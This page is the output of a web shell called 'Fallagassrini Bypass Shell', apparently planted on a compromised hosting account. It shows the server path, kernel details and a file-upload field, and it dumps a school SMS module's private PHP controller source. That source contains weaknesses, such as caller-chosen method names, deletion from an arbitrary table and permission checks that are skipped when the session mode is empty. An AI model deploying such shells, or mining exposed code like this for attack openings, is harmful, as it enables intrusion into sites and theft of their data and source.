? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/eduplus1/application/controllers/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/eduplus1/application/controllers/sms.php

<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Sms extends MY_Controller {

    public function  __construct()
    {
         parent::__construct();
         $this->load->model('mastermodel');
         $this->load->model('smsmodel');
         $this->load->model('studentmodel');
    }
    
    function get_post_values()
    {
        $data = array();
        foreach ($_POST as $key => $value)
        {
            if($key != "submit")
            {
                $data[$key] =  $this->input->post($key);
            }
        }
        return $data;
    }
    
   function viewinsmssearch($modelfunction,$page,$pagenum)
   {
        $output=$this->smsmodel->$modelfunction($pagenum);
        $data['viewinfo']=$output['results'];
        $this->load->view('sms/'.$page.'',$data);
    }
    
    function addformdisplay($page,$directory,$return_page='')
    {
        $data=array();
        $data['return_page']=$return_page;
        $perm=$this->smsmodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'],1);
        if(!$perm)
        {
             $data['msg']="Permission Denied";
             $this->load->view('message',$data);
        }
        else
        {
            $this->load->view(''.$directory.'/'.$page.'',$data);
        }
    }


    function addinsms($modelfunction,$page)
    {
        $data=array();
        $postdata = $this->get_post_values();
        $data=$this->smsmodel->$modelfunction($postdata);
        $this->viewinsmssearch($data['resfunction'],$page,$_SESSION['pagenum']);
        $this->load->view('message',$data);
        
    }


    function deletedata($table,$id,$field)
    {
        $data=array();
        $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'],3);
        if(!$perm)
            $data['msg']="Permission Denied";
        else
            $data=$this->mastermodel->deletedata($table,$id,$field);
        $arr = array('msg' =>$data['msg'],'res'=>$data['res']);
        echo json_encode($arr);
    }

    function edit_page($id,$table,$field,$page)
    {
        if($_SESSION['current_mode']!="")
        {
            $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'],2);
        }
        else
        {
            $perm=1;
        }
      
        if(!$perm)
        {
             $data['msg']="Permission Denied";
             $this->load->view('message',$data);
        }
        else
        {
            $data['viewinfo']=$this->mastermodel->get_data_srow($table,$id,$field);
            $data['id']=$id;
            $this->load->view('sms/'.$page,$data);
        }
    }
    
    function single_page($id,$table,$field,$page)
    {
        if($_SESSION['current_mode']!="")
        {
            $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'],0);
        }
        else
        {
            $perm=1;
        }
      
        if(!$perm)
        {
             $data['msg']="Permission Denied";
             $this->load->view('message',$data);
        }
        else
        {
            $data['viewinfo']=$this->mastermodel->get_data_srow($table,$id,$field);
            $data['id']=$id;
            $this->load->view('sms/'.$page,$data);
        }
    }
    
    function gettemplate($template_id)
    {
        $content=$this->mastermodel->get_single_field_value('template','content','template_id',$template_id);
        echo $content;
    }
    function loadsmslist($modelfunction,$page,$pagenum="")
    {
        $postdata=$this->get_post_values();
        $output=$this->smsmodel->$modelfunction($postdata);
        if($output['results']!="")
        {
            $data['viewinfo']=$output['results'];
            $this->load->view('sms/'.$page,$data);
        }
        else
        {
            $data['msg']="No records found";
            $this->viewinsmssearch('search_bulk_sms','view_bulk_sms',$_SESSION['pagenum']);
            $this->load->view('insertfailure',$data);
        }
    }
    function senddraft($smsid)
    {
        $res= $this->smsmodel->senddraft($smsid);        
        if($res==1)
        {
            $data['msg']="Message sent successfully";
            $this->load->view('sms/smssucess',$data);
        }
        else
        {
            $data['msg']="Error..Message not sent";
            $this->load->view('sms/smssucess',$data);
        }
        
    }
    function singleesmsreport($id,$table,$field,$page)
    {
        
        
         if($_SESSION['current_mode']!="")
        {
            $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'],0);
        }
        else
        {
            $perm=1;
        }
      
        if(!$perm)
        {
             $data['msg']="Permission Denied";
             $this->load->view('message',$data);
        }
        else
        {
            $data['smsreport']=$this->mastermodel->get_data_srow('smsreport',$id,'sms_id');
            $data['sms_receipents']=$this->mastermodel->get_data('sendsms',$id,'sms_id');
            $data['id']=$id;
            $this->load->view('sms/'.$page,$data);
        }
    }
    
}

/* End of file master.php */
/* Location: ./application/controllers/master.php */

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net